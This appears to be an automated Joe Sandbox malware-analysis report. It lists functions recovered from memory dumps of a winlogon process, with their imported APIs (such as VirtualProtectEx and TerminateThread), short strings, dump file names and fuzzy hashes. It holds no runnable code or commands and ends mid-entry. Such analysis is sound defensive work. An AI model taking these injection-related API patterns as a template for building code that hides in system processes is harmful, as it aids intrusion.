Function 000001E8589836C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001E8589836E4
GetCurrentProcess.KERNEL32 ref: 000001E8589836F2
VirtualProtectEx.KERNEL32 ref: 000001E858983714
GetCurrentProcess.KERNEL32 ref: 000001E858983732
VirtualProtectEx.KERNEL32 ref: 000001E858983753
TerminateThread.KERNEL32 ref: 000001E858983762

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 18b328c97b5f9e14fffcfa9212a447ac2abda381c2e5647efa8e85a057c85cab
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 19011775321BC0C6EB259B62E84879DB2A1BF49B86F04443ACD4E07B65EF3DC1488B00

Function 000001E858988FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E858989013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589890A8
RtlUnwindEx.NTDLL ref: 000001E8589890F7

Strings

csm, xrefs: 000001E85898908E
f, xrefs: 000001E858989026

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: c300b2b6b54622bad3c43c23df103e30e38a6bb1438ec9a2dd89e032c6842fde
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 53518932729683CAEB54CB15E848B9DB7A6FB44B88F508536DE4B47788DF39C841CB00

Function 000001E858981A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001E858981A60
StrCmpNIW.SHLWAPI ref: 000001E858981A7A
lstrlenW.KERNEL32 ref: 000001E858981A89
StrCpyW.SHLWAPI ref: 000001E858981A9E

Strings

\\?\, xrefs: 000001E858981A6E

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: d0bcd0cf9b4692289a878d77c8ac4738952449dce6fe18ad4e1a7071ab5e44cd
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: D4F03C723246C1D2EB609B61F9C479DB761FB88BC8F844032DE4D46954DE2CC68DCB00

Function 000001E85898BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001E85898BCBD
GetProcAddress.KERNEL32 ref: 000001E85898BCD3
FreeLibrary.KERNEL32 ref: 000001E85898BCFA

Strings

CorExitProcess, xrefs: 000001E85898BCCC
mscoree.dll, xrefs: 000001E85898BCB4

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: e6b40846573bec2309256a1e3779184d66e370f070609bbf47c065b346f7c57b
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: A2F06271221685D1FB108F29E84539DB321EF857A1F54062ADE6E452E4CF2CC045C700

Function 000001E858983044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001E858983066
StrCpyW.SHLWAPI ref: 000001E858983076
StrCatW.SHLWAPI ref: 000001E858983082
PathCombineW.SHLWAPI ref: 000001E858983090

Strings

\\.\pipe\, xrefs: 000001E85898305C

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 177804a8e33fc8a1ffb9e6d06ac6c2892e3a9ed2a31dc03627c06d5a34e3f628
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: A4F0F874624BC5D2EA148F53F9551ADB662AF48FD0F489132EE4E47B18DE2CC4858700

Function 000001E858985710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001E858985726

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
Instruction ID: ff1100847cf1c0e0aadc7ec0e970ba072bd13cc79387902f55229e6ec2abdf55
Opcode Fuzzy Hash: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
Instruction Fuzzy Hash: 0361C436629A85CAE760DB55E45039EB7A0FB88784F504127EE8E87BA8DF7CC444CF00

Function 000001E8589C3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001E8589C352C
_set_statfp.LIBCMT ref: 000001E8589C3547
_set_statfp.LIBCMT ref: 000001E8589C3563
_set_statfp.LIBCMT ref: 000001E8589C359F

Memory Dump Source

Source File: 00000016.00000002.3600610953.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: b4ee51cf0a1e5aea1822e43a26c047e5dcf7f4fbb0b99cff55914cd4d144b702
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 7511E932AB0ED1D2FAA42528E4523EDBF806F59374F49873BAD7E067D6CE26C8417101

Function 000001E858963504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001E85896352C
_set_statfp.LIBCMT ref: 000001E858963547
_set_statfp.LIBCMT ref: 000001E858963563
_set_statfp.LIBCMT ref: 000001E85896359F

Memory Dump Source

Source File: 00000016.00000002.3600075883.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858950000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 13a26281ade054cd1280fdbce72e43605aafa02c3cf2d887f28f1c2fac503938
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: D511A332A30AD191FA64192AE4413EDB1906F59374FD8873BBD6E076E6CE38C8417100

Function 000001E858994104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001E85899412C
_set_statfp.LIBCMT ref: 000001E858994147
_set_statfp.LIBCMT ref: 000001E858994163
_set_statfp.LIBCMT ref: 000001E85899419F

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 63986d8d169832ca2b3c9ff94d929ac1109ad7e490c18855dc707efbf0d460dd
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 5D11A3B2B30AD092F67A5569D4653EDB1477F783B8F090636AD7E077D6EE24C8414201

Function 000001E8589BF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001E8589BF124

Strings

or copy constructor iterator', xrefs: 000001E8589BF25A, 000001E8589BF275
Tuesday, xrefs: 000001E8589BF0F4
Wednesday, xrefs: 000001E8589BF1ED

Memory Dump Source

Source File: 00000016.00000002.3600610953.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 45fbb07566537809df07c08353ba596d2c45bc6c88eb3f332a9267d3a220cd63
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: A661C6766286C0CEFA658BA9E5443EEFAA0EF85746F508837CE0E177A5DF34C8458300

Function 000001E85895F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001E85895F124

Strings

Wednesday, xrefs: 000001E85895F1ED
or copy constructor iterator', xrefs: 000001E85895F25A, 000001E85895F275
Tuesday, xrefs: 000001E85895F0F4

Memory Dump Source

Source File: 00000016.00000002.3600075883.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858950000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: bbb57aa9e3b830d463c4fe85b52b4203214c9bc4de7028ccc68d76f93c744b6c
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 2761A2766206C0C2FA659B65E5443EEFAA1EF867A6F544837CE0E17BA4DF34C8458300

Function 000001E85898AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001E85898AA68
_CallSETranslator.LIBVCRUNTIME ref: 000001E85898AAB7

Strings

MOC, xrefs: 000001E85898AA7C
RCC, xrefs: 000001E85898AA85

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: bb76fc1650d308761c410147ea84cb38f2e16afbcf0730215f2385a251eb584a
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 6C614633610A85CAEB209F65D4803DDB7A1FB48B88F044226EE4E17B99DF78C595CB02

Function 000001E8589BA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E8589BA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001E8589BA288

Strings

csm, xrefs: 000001E8589BA2DA
csm, xrefs: 000001E8589BA1C2

Memory Dump Source

Source File: 00000016.00000002.3600610953.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: b8cb1cdd645de17ac90d150e5576baa1f770b257ea5295feeb99f43c7e10e3bf
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: A9517A322292C0CEEB648B65D45439CB7E0FB55B96F188227DE9D87B95CF39D490C702

Function 000001E85895A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E85895A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001E85895A288

Strings

csm, xrefs: 000001E85895A1C2
csm, xrefs: 000001E85895A2DA

Memory Dump Source

Source File: 00000016.00000002.3600075883.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858950000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 0ad0f10a0311de8fe70e4511306a68505f179f6318197c4e8bd1820910d7e08b
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: DF517E322242C1CAEB648B25E44439DB7E0FF55B9AF184127DE9D87B95CF38D491CB0A

Function 000001E85898AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E85898ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001E85898AE88

Strings

csm, xrefs: 000001E85898ADC2
csm, xrefs: 000001E85898AEDA

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 49808e8ca0374573422c17999fa92c520f6827b0ca759f7661e9c90c8d8cbcb6
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: C85138732206C2CBEB648B25D58439DB7E0EB54B99F184126DE9D87A96CF38D491CF02

Function 000001E8589B8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E8589B8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589B84A8

Strings

csm, xrefs: 000001E8589B848E
f, xrefs: 000001E8589B8426

Memory Dump Source

Source File: 00000016.00000002.3600610953.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 5afbde93f76065e937d33a33ecda40d7cc0652e0afb463397a4e63f594b95558
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: B751B932629280CEEB55CF15E445BDCB799FB48BD9F508076DE0A63788EFB4D8418704

Function 000001E858958405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E858958413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589584A8

Strings

csm, xrefs: 000001E85895848E
f, xrefs: 000001E858958426

Memory Dump Source

Source File: 00000016.00000002.3600075883.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858950000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: bfd78980145a28763c880af9517e8ac90edd43b032dea0cdb72a4fbda65ea15a
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 4A51AC32621680CAEB14CF15E445BDEB799FF54B9AF508176DE4E63788EF34D8428B04

Function 000001E8589B83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E8589B8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589B84A8

Strings

csm, xrefs: 000001E8589B848E
f, xrefs: 000001E8589B8426

Memory Dump Source

Source File: 00000016.00000002.3600610953.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: a63bd806f66d012ce775473c1f40d5f64a693a31238674c758956550f9c12806
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: F0318832225680DAEB159F11E849BDDBBA9FB48BD9F458036AE5E13788DF38C940C704

Function 000001E8589583E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001E858958413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001E8589584A8

Strings

csm, xrefs: 000001E85895848E
f, xrefs: 000001E858958426

Memory Dump Source

Source File: 00000016.00000002.3600075883.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858950000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 56d3e007963a7e7881fb8535ced7d73073085fdb1eb8715deed5cad551f2bc8b
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: AD317C32221680D6EB14DF12E8457DEB7A4FF40B9AF958026EE5E17784DF38D941C704

Function 000001E858992058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001E8589920D7
WriteFile.KERNEL32 ref: 000001E85899239F
WriteFile.KERNEL32 ref: 000001E8589923E5
GetLastError.KERNEL32 ref: 000001E85899249B

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 5158255b9f45075a47059d5597f2be23213eaa00bc29a0f5feecf0f9424b8990
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 6BD1AE32B24AC0C9E711CFA9D4402ECBBB6FB54B98F144226DE6E97B99DE34C516C740

Function 000001E8589814A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001E8589814C5
HeapFree.KERNEL32 ref: 000001E8589814D4
GetProcessHeap.KERNEL32 ref: 000001E8589814E1
HeapFree.KERNEL32 ref: 000001E8589814F0
GetProcessHeap.KERNEL32 ref: 000001E858981500

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 87d0c39c7ef690860e2d692a8e2b1ea7438f5f62204bc229bf9756ed41ae7668
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: FA014832620AD0C6E715EFA6E90418EB7A2FB88FC1F044436EE4E43729EE38C051C740

Function 000001E858992980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000001E858992A9C
GetLastError.KERNEL32 ref: 000001E858992B27

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 12399152d6f5684d12032a5c33f3ea79e7a8066ea1a4d7d76d6e965cdc9918e8
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: DD91AD327206D0C5F7609FA9D8803EDFBA6BB45B98F14412BDE2E67A95DE34C486C700

Function 000001E85898253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001E858982620
StrCpyW.SHLWAPI ref: 000001E858982639

Strings

\\.\pipe\, xrefs: 000001E85898262B

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: dc5de42c1dc400c54a34142e8686c4d9b9fee3a7d214c8df3c00669743a542fc
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 357190362207C2CAE7259EA6E8443EEF795FB89B84F440037DD0E53B89DE35D6458B00

Function 000001E8589B9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001E8589B9EB7

Strings

MOC, xrefs: 000001E8589B9E7C
RCC, xrefs: 000001E8589B9E85

Memory Dump Source

Source File: 00000016.00000002.3600610953.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 479c25fd653139756ea47a74aec904b6b413ad4f2ed2086552f17bedce541712
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: EC614632A29B84CAEB20DF65D4403DDB7A0FB49B99F144226EE4D17B98EF38D595C700

Function 000001E858959E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001E858959EB7

Strings

MOC, xrefs: 000001E858959E7C
RCC, xrefs: 000001E858959E85

Memory Dump Source

Source File: 00000016.00000002.3600075883.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858950000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 094ec712c1b288e37f31cb4837e425075fcca7128a69f700356e5ae3858f6197
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: A1612632A25B84CAEB20DF65E4403DDB7A0FB45B89F144226EE4D17B99DF38D595CB00

Function 000001E858982330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001E858982416
StrCpyW.SHLWAPI ref: 000001E85898242D

Strings

\\.\pipe\, xrefs: 000001E858982421

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 414b1109d79ba0e870cecf76c2af5f31b5d4bde43533dd6e83f510ec87595dfc
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 6951BD322287C2C1F664DAAAE4983EEF791FB95780F450137DE5E03B99DE39C9048B50

Function 000001E8589926F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001E858992807
GetLastError.KERNEL32 ref: 000001E858992829

Strings

U, xrefs: 000001E8589927B3

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: dcdd8cd598e05c42887886c746ddf0c279423bf44c0c1bf9e557dc900a05699c
